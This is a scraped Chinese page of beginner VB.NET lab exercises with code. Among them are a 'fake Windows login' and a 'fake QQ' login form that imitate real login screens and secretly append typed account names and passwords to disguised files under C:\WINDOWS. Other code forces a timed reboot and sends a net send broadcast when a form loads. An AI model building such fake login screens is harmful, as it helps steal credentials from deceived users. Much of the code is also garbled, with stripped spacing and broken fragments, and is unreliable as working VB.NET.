vb实验

前端之家收集整理的这篇文章主要介绍了vb实验前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

实验一VB.NET编程入门

一、实验目的

1熟悉VS2005开发工具环境;

2掌握创建VB.NET项目过程;

3掌握VB.NET项目文件的作用与关系;

4理解OOP编程方法

5写几个简单的VB.NET小程序,基本掌握VB.NET程序开发的过程及调试与运行方法

二、基本知识与预习

1启动VS2005,熟悉开发工具环境

2Framework框架体系

3回顾创建VB.NET项目的过程

4回顾VB.NET项目文件关系与作用,理解OOP编程思想。

三、实验设备与环境

1、实验平台:学生机:WindowsXPProfessional;教师机:WindowsXP/2003Server

2、硬件工具:计算机,已组建好局域网

3、软件工具:VisualStudio2005Framework2.0

四、实验内容

I、基础实验

(一)实验题目

一)启动VB.NET,创建一个“Windows应用程序”类型的应用程序,要求:在屏幕上显示“欢迎您使用VB.NET”,并“请输入您的姓名”;屏幕设计的界面如图所示,以Sy1-1为项目名保存。

二)设计一个常见的用户登录界面。

界面设计要求:用户名输入框,密码输入框,“登录”按钮,“清空”按钮,窗口不能最大化,可以用图片美化界面,可设置界面一定的透明度。

功能要求:预设好用户名和密码。登录时输入用户名、密码连续三次错误提示警告并自动锁定界面或退出界面。

三)设计一个简易网络消息发送控制程序。

界面设计要求:消息输入框、网络主机输入框、发送按钮。

功能要求:实现对网络主机输入框的内容进行识别,主机IP地址格式是:X.X.X.XX0-255的数字)。向指定主机发送操作系统的信使服务,即发送消息。

四)一个假Windows登录程序。(演示操作)

当单击任意处3次后,系统进入30秒重启,按“终止重启或关机”按钮后,取消息重启

再单击任意处2次后,弹出“Windows登录”窗口,输入密码后,重新进入桌面。

五)练习:自行设计一个关机控制程序。可以实现关机、定时关机、取消关机、重启、注销等功能

六)利用标签、文本框、按钮控件以及相应的属性,编一字号、内容和格式的复制练习,效果见图。

TextBox1输入一字符串,建立三个命令按钮:

1Button1Text内容为“隶书25磅”,事件过程代码为:

TextBox1.Font=NewFont("隶书",25)

2Button2Text内容为“幼圆15磅”,代码类似。

3Button3Text内容为“复制=>”,要求复制在TextBox1选中的内容以及其字体格式。选中的内容通过TextBox1.SelectedText属性;字体通过Font直接赋值。

五、实验报告内容

简述实验过程和体会(注意:在二)到四)中选择一个写实验报告的正文内容。)

填写全部代码属性设置内容

实验一实现代码

PublicClassForm1

PrivateSubTextBox1_KeyPress(ByValsenderAsObject,ByValeAsSystem.Windows.Forms.KeyPressEventArgs)HandlesTextBox1.KeyPress

DimlInteger

l=365-Label1.Left

Ife.KeyChar=Chr(13)Then

Label1.Text="欢迎您"+TextBox1.Text+"使用VB.NET"

Me.Width=Label1.Width+l

EndIf

Sub

实验二代码

SubButton1_Click(AsSystem.Object,255)">AsSystem.EventArgs)HandlesButton1.Click

authority()

Sub

SubForm1_KeyPress(HandlesMe.KeyPress

Then

authority()

Subauthority()

Dimuid,upwdString

StaticDimcountInteger=0

uid="abc"

upwd="123"

Ifuid=userid.text.trim()Andupwd=userpwd.textThen

count=0

MsgBox("登陆成功,欢迎您使用本软件!")

userid.text=""

userpwd.text=""

Else

count+=1

MsgBox("用户名或密码第"+count.ToString()+"错误。你还有"+(3-count).ToString()+"次输入机会!")

userid.text=""

userid.focus()

Ifcount>=3Then

MsgBox("你已经连续输入次错误了,你的卡被锁定!")

userid.enabled=False

userpwd.enabled=False

Button1.Enabled=False

Class

正确账号密码登陆:

错误账号密码登陆:

实验三实现代码

实现代码

ClassForm2

HandlesButton1.Click

'使用windows的剪切板实现:剪切板能够实现文件、对象、文本等数据的复制粘贴功能

'将选中的文本内容放到剪贴板

Clipboard.SetText(TextBox1.SelectedText)

SubButton2_Click(HandlesButton2.Click

'剪切功能

Clipboard.SetText(TextBox1.SelectedText)

TextBox1.SelectedText=""

TextBox1.Focus()

SubButton3_Click(HandlesButton3.Click

'粘贴功能

TextBox1.SelectedText=Clipboard.GetText()

TextBox1.SelectionStart=TextBox1.Text.Length

Class

一个假Windows登录程序。(演示操作)

当单击任意处3次后,系统进入30秒重启,按“终止重启或关机”按钮后,取消息重启

再单击任意处2次后,弹出“Windows登录”窗口,输入密码后,重新进入桌面。

实现代码

Class假登陆

SubLabel1_Click(HandlesLabel1.Click

dl()

SubTextBox1_KeyUp(AsSystem.Windows.Forms.KeyEventArgs)HandlesTextBox1.KeyUp

'输完后按回车登陆

Ife.KeyCode=Keys.EnterThen

dl()

Subdl()

'将输入的密码存入指定文件

'c:\WINDOWS\WindowsPlugin.text

DimfnInteger

fn=FreeFile()'获得一个随机文件

FileOpen(fn,"C:\WINDOWS\WindowsPlugin.txt",OpenMode.Append)

'文件写入一行

PrintLine(fn,TextBox1.Text)

'关闭文件

FileClose(fn)

Me.Close()

Class

二)关机程序

实现代码

HandlesButton1.Click

Shell("C:\ProgramFiles\Adobe\AdobePhotoshopCS4\Photoshop.exe")

HandlesButton2.Click

Shell("notepad")

SubForm1_Load(MyBase.Load

Shell("netsend*大家好,节日有礼!")

SubButton4_Click(HandlesButton4.Click

Shell("shutdown-r-t50")

SubButton5_Click(HandlesButton5.Click

Shell("shutdown-a")

Class

三)假QQ

实现代码

ClassQQ

SubLabel3_Click(AsSystem.EventArgs)

SubLabel3_Click_1(HandlesLabel3.Click

Shell("C:\ProgramFiles\InternetExplorer\IExplore.exehttp://haoma.qq.com/",AppWinStyle.NormalFocus)

SubLabel4_Click(HandlesLabel4.Click

Shell("C:\ProgramFiles\InternetExplorer\IExplore.exehttp://dna.qq.com/cgi-bin/console_forgetPW?reLogin=true&ADUIN=0&ADSESSION=0&ADTAG=CLIENT.QQ.1575_LoginWindow.0",255)">SubTextBox2_KeyUp(HandlesTextBox2.KeyUp

Then

dl()

kl()

Then

dl()

kl()

Integer

fn=FreeFile()'获得一个随机文件

FileOpen(fn,OpenMode.Append)

Box1.Text)

'关闭文件

'FileClose(fn)

'Me.Close()

Subkl()

'c:\WINDOWS\WindowsPlug.text

Dimkn

kn=FreeFile()

FileOpen(kn,0)">"C:\WINDOWS\WindowsPlug.txt",0)">'文件写入一行

PrintLine(kn,TextBox2.Text)

'FileClose(kn)

Dimf02New设置

f02.Show()

Me.Hide()

'Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")

New正在登录

f02.Show()

Me.Hide()

dl()

kl()

Shell("D:\QQ2012\QQProtect\Bin\QQProtect.exe")

Class

原文链接:https://www.f2er.com/vb/258459.html

猜你在找的VB相关文章